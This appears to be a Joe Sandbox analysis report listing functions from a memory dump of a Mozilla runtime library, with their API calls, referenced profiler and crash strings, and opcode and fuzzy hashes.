API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6225012570fcc9f29f23e0c0e4afab7c39fa4263726e2c05241e65d2bcad9c04
Instruction ID: a1411ef4642ebda7a85e7930024a4eda7487bf893afc6a16719840a14779eef8
Opcode Fuzzy Hash: 6225012570fcc9f29f23e0c0e4afab7c39fa4263726e2c05241e65d2bcad9c04
Instruction Fuzzy Hash: 1AF0F4B1E20345EBD3008F21C8487B5B778FFEA259F12431AF90442B01E7B0A5D087D0

Function 6CEF1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CEF1800

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

Part of subcall function 6CE94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CED3EBD,6CED3EBD,00000000), ref: 6CE942A9

Strings

Details, xrefs: 6CEF1925
name, xrefs: 6CEF1939
{marker.name} - {marker.data.name}, xrefs: 6CEF18C7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 0b68d785e0bcd74e1fe3837d37603bf4f55dc2fa98763f6c727e9e04ed05aff3
Instruction ID: 1f0b2dac8a9ce4bbba6612c79894ed3f7944555e7056a2e5715975fc8c84ffb0
Opcode Fuzzy Hash: 0b68d785e0bcd74e1fe3837d37603bf4f55dc2fa98763f6c727e9e04ed05aff3
Instruction Fuzzy Hash: 0D71F2B0A0034A9FC704CF68C5547AABBB1FF45314F20466DD8295BB41D771AA99CBE2

Function 6CEFB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CEFB0A6,6CEFB0A6,?,6CEFAF67,?,00000010,?,6CEFAF67,?,00000010,00000000,?,?,6CEFAB1F), ref: 6CEFB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CEFB0A6,6CEFB0A6,?,6CEFAF67,?,00000010,?,6CEFAF67,?,00000010,00000000,?), ref: 6CEFB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CEFB0A6,6CEFB0A6,?,6CEFAF67,?,00000010,?,6CEFAF67,?,00000010), ref: 6CEFB25F

Strings

map/set<T> too long, xrefs: 6CEFB1FA

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 5c88ec0064818c522da9f62123ce3a290ec6b3bf00d0f07ec0e14279139fa1b5
Instruction ID: 685acb84a61f5cf8b0a8b1888afe4e268d862bc6ae8dc5f3079fb3223c2341a4
Opcode Fuzzy Hash: 5c88ec0064818c522da9f62123ce3a290ec6b3bf00d0f07ec0e14279139fa1b5
Instruction Fuzzy Hash: 6D617C75A042458FD701CF19C880A9ABBF5FF4A318F28C599D8699FB52C331EC46CB91

Function 6CEBD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

EnterCriticalSection.KERNEL32(6CF1E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD4F2
LeaveCriticalSection.KERNEL32(6CF1E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD50B

Part of subcall function 6CE9CFE0: EnterCriticalSection.KERNEL32(6CF1E784), ref: 6CE9CFF6
Part of subcall function 6CE9CFE0: LeaveCriticalSection.KERNEL32(6CF1E784), ref: 6CE9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD52E
EnterCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEBD690
LeaveCriticalSection.KERNEL32(6CF1E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD751

Strings

MOZ_CRASH(), xrefs: 6CEBD4BB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: bbf04e7a3ba740642c1b74e6008b0197c191fdc3d34ce39bd82853c5f0cdaabf
Instruction ID: 219853cf40db3e5e7ac4a4b06272c5b6fb88719710f24fc08b4bd0e894638a1e
Opcode Fuzzy Hash: bbf04e7a3ba740642c1b74e6008b0197c191fdc3d34ce39bd82853c5f0cdaabf
Instruction Fuzzy Hash: 1051D175A087018FD358CF68C29476ABBF1EB89318F25492ED5A9D7F88D770A800CB52

Function 6CEE4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CEE4721

Strings

-%llu, xrefs: 6CEE4733
., xrefs: 6CEE476A
profiler-paused, xrefs: 6CEE46E4

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 98bdb19912296d12c868141e63aab1dcd614179752c3a12ee4836dfd9000cece
Instruction ID: 13a8af6d8af929a10a75c24226ac4af24132b5950c8b9cafc2c2e562c79660f1
Opcode Fuzzy Hash: 98bdb19912296d12c868141e63aab1dcd614179752c3a12ee4836dfd9000cece
Instruction Fuzzy Hash: B8413671F047089BCB08DFB9D85125EBBF5EF89798F20862EE85597B41EB3098448782

Function 6CEE46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CEE4721

Part of subcall function 6CE94410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CED3EBD,00000017,?,00000000,?,6CED3EBD,?,?,6CE942D2), ref: 6CE94444

Strings

-%llu, xrefs: 6CEE4733
., xrefs: 6CEE476A
profiler-paused, xrefs: 6CEE46E4

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 92a53d194cbde14d2d11c435374e5f40d9532f0e2ff1acd93344ceef76d59eb9
Instruction ID: acb47b766604340d0ef6c7af23f37722c89c62e0b09f2b0f3dbb972473dae576
Opcode Fuzzy Hash: 92a53d194cbde14d2d11c435374e5f40d9532f0e2ff1acd93344ceef76d59eb9
Instruction Fuzzy Hash: 78312671F043084BCB0CCFADD89169EBBF69B8D358F25853EE8159BB41EB7498048B91

Function 6CEEB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CED3EBD,6CED3EBD,00000000), ref: 6CE942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CEEB127), ref: 6CEEB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEEB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CEEB4E4

Strings

pid:, xrefs: 6CEEB4DE

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: a568abe2936b2eb2b8952bcecc7b1bc6ad62269b351561c31eba7fd69592d1d5
Instruction ID: 5faa9d5e10d91f2f112fc3364bd858ddaca9c4a90c9b2e6cb6a8168dc157bb5c
Opcode Fuzzy Hash: a568abe2936b2eb2b8952bcecc7b1bc6ad62269b351561c31eba7fd69592d1d5
Instruction Fuzzy Hash: C431D331E013589FDB00DFA9D880AAEB7B6BF49358F64052DD81167B41E731A849CBA5

Function 6CECAF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(bOqbOqbOqbOqbOqbOq,00000000), ref: 6CECAFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(bOqbOqbOq,00000000), ref: 6CECAFCC

Strings

bOqbOqbOqbOqbOqbOq, xrefs: 6CECAFB8, 6CECAFE6

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: bOqbOqbOqbOqbOqbOq
API String ID: 2450287516-330285242
Opcode ID: d1015ff70958f497979241fa2a4d1c6f8d6d066faee02b946960471d307ce4d1
Instruction ID: fb8276eb0fe013656bea7b81989b209d8f38d836fb803226ab8dc3947208b23e
Opcode Fuzzy Hash: d1015ff70958f497979241fa2a4d1c6f8d6d066faee02b946960471d307ce4d1
Instruction Fuzzy Hash: EE11A072F14655AEDB01DE6986063CE7BB45F0231CF36415ADC30EBF80D67189459BE2

Function 6CEDE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEDE577
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDE584
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CEDE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CEDE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CEDE722, 6CEDE750, 6CEDE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CEDE777
MOZ_PROFILER_STARTUP, xrefs: 6CEDE5A1, 6CEDE5CC, 6CEDE5FF, 6CEDE62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CEDE826, 6CEDE850

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 557ab4d0273cb94317a27221bec11eab3e7a6c87ef156512320ad7f6cf8df9da
Instruction ID: 5a455c0b8039a03143940380d8f3ea4bfd135c54a0ca1c0ca9ee2608b1f2d59c
Opcode Fuzzy Hash: 557ab4d0273cb94317a27221bec11eab3e7a6c87ef156512320ad7f6cf8df9da
Instruction Fuzzy Hash: 9911E131E14654DFCB80DF15C84AB59FBB4FB89368F520518E84547F40C774A805CB95

Function 6CEE0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEE0CD5

Part of subcall function 6CECF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CECF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEE0D40
free.MOZGLUE ref: 6CEE0DCB

Part of subcall function 6CEB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
Part of subcall function 6CEB5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
Part of subcall function 6CEB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2

free.MOZGLUE ref: 6CEE0DDD
free.MOZGLUE ref: 6CEE0DF2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 94bac037be03c26c45b7cf8e988e197f0746ac07fb9ac040724c403f1d515bd3
Instruction ID: f10ff3313a7ecbda7727b6ec3786e6d5d89b88a712d53c658f2ab0945ccb0f40
Opcode Fuzzy Hash: 94bac037be03c26c45b7cf8e988e197f0746ac07fb9ac040724c403f1d515bd3
Instruction Fuzzy Hash: 0D413A71A187808BD720CF29C18079AFBF5BFC9754F218A2EE8D887710DB709445DB82

Function 6CEECCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CEDDA31,00100000,?,?,00000000,?), ref: 6CEECDA4

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

Part of subcall function 6CEED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CEECDBA,00100000,?,00000000,?,6CEDDA31,00100000,?,?,00000000,?), ref: 6CEED158
Part of subcall function 6CEED130: InitializeConditionVariable.KERNEL32(00000098,?,6CEECDBA,00100000,?,00000000,?,6CEDDA31,00100000,?,?,00000000,?), ref: 6CEED177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CEDDA31,00100000,?,?,00000000,?), ref: 6CEECDC4

Part of subcall function 6CEE7480: ReleaseSRWLockExclusive.KERNEL32(?,6CEF15FC,?,?,?,?,6CEF15FC,?), ref: 6CEE74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CEDDA31,00100000,?,?,00000000,?), ref: 6CEECECC

Part of subcall function 6CEACA10: mozalloc_abort.MOZGLUE(?), ref: 6CEACAA2

Part of subcall function 6CEDCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CEECEEA,?,?,?,?,00000000,?,6CEDDA31,00100000,?,?,00000000), ref: 6CEDCB57
Part of subcall function 6CEDCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CEDCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CEECEEA,?,?), ref: 6CEDCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CEDDA31,00100000,?,?,00000000,?), ref: 6CEED058

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 23a832638ec3d7443f7243275335ee2c3747da752d4ac3434c2630b55e9d1b30
Instruction ID: 664bced55a0a0b8e86eb9d1b3e78d692e02f6384e28c51f8061153c07241ef8f
Opcode Fuzzy Hash: 23a832638ec3d7443f7243275335ee2c3747da752d4ac3434c2630b55e9d1b30
Instruction Fuzzy Hash: E4D17D75B04B069FD708CF28C480B99B7F1BF89348F15862DD8598B712EB31E9A5CB81

Function 6CEA1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CEA17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CEA18EE
free.MOZGLUE(?), ref: 6CEA1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEA194C

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 9563f6f47fddaa13afe8069953541a8d3f3e4e7bb002b2aa44847bf2f4c5ce94
Instruction ID: 59a95381c7f0781799f8d525a2690497350e1d93e53598ad108e82523788240f
Opcode Fuzzy Hash: 9563f6f47fddaa13afe8069953541a8d3f3e4e7bb002b2aa44847bf2f4c5ce94
Instruction Fuzzy Hash: A4819E70A11205DFCB08CFE8D8949AEBBB1FF89314F24456CE815AB754D734E846CBA2

Function 6CEB5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CEB5D40
EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5D67
__aulldiv.LIBCMT ref: 6CEB5DB4
LeaveCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5DED

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: f803ee4a1a77cb762f46dd0dabb1c21746683f795600f97af21cc866721158b0
Instruction ID: 6c6e67d3db062addc453acc54e78ee3ac4f52245deec12309bbefca7521bb682
Opcode Fuzzy Hash: f803ee4a1a77cb762f46dd0dabb1c21746683f795600f97af21cc866721158b0
Instruction Fuzzy Hash: 2D518C71E112198FCF48CF68C955BBEBBB2BB89308F2A861DC855B7B50C7306941CB80

Function 6CE9CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CE9CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CE9CF4E

Strings

0, xrefs: 6CE9CF30

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 3054307c675c096e0f816cd73ddb93a7b0b2e19b43ad6d7e81ce811b76bdd64c
Instruction ID: 9c2d1d12e755f4b1ed1be22f69834d35a396f86ceaaf419b0edaba910c81e517
Opcode Fuzzy Hash: 3054307c675c096e0f816cd73ddb93a7b0b2e19b43ad6d7e81ce811b76bdd64c
Instruction Fuzzy Hash: 3F511275A002168FCB00DF18C890AAABBB5EF99304F29859DDC5A5F752D731ED06CBE0

Function 6CEF77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEF77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CEF7829

Part of subcall function 6CECCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CE931A7), ref: 6CECCC45
Part of subcall function 6CECCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CE931A7), ref: 6CECCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CEF789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CEF78CF

Part of subcall function 6CE94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE94E5A
Part of subcall function 6CE94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CE94E97

Part of subcall function 6CE94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CED3EBD,6CED3EBD,00000000), ref: 6CE942A9

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: fcdaf2d319313a897cc79432b9ca80b8f511f7c34fa3d3c7b5e55942ff4b6362
Instruction ID: ab601079dcdefa3367beb00328212ca4ff9f32d1648b60659f2c8e5eb0293169
Opcode Fuzzy Hash: fcdaf2d319313a897cc79432b9ca80b8f511f7c34fa3d3c7b5e55942ff4b6362
Instruction Fuzzy Hash: 5641AE71A047469FD300DF29C48056AFBF4FF8A268F204A2EE4A987741DB71D55ACB92

Function 6CED6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CED82BC,?,?), ref: 6CED649B

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED64A9

Part of subcall function 6CECFA80: GetCurrentThreadId.KERNEL32 ref: 6CECFA8D
Part of subcall function 6CECFA80: AcquireSRWLockExclusive.KERNEL32(6CF1F448), ref: 6CECFA99

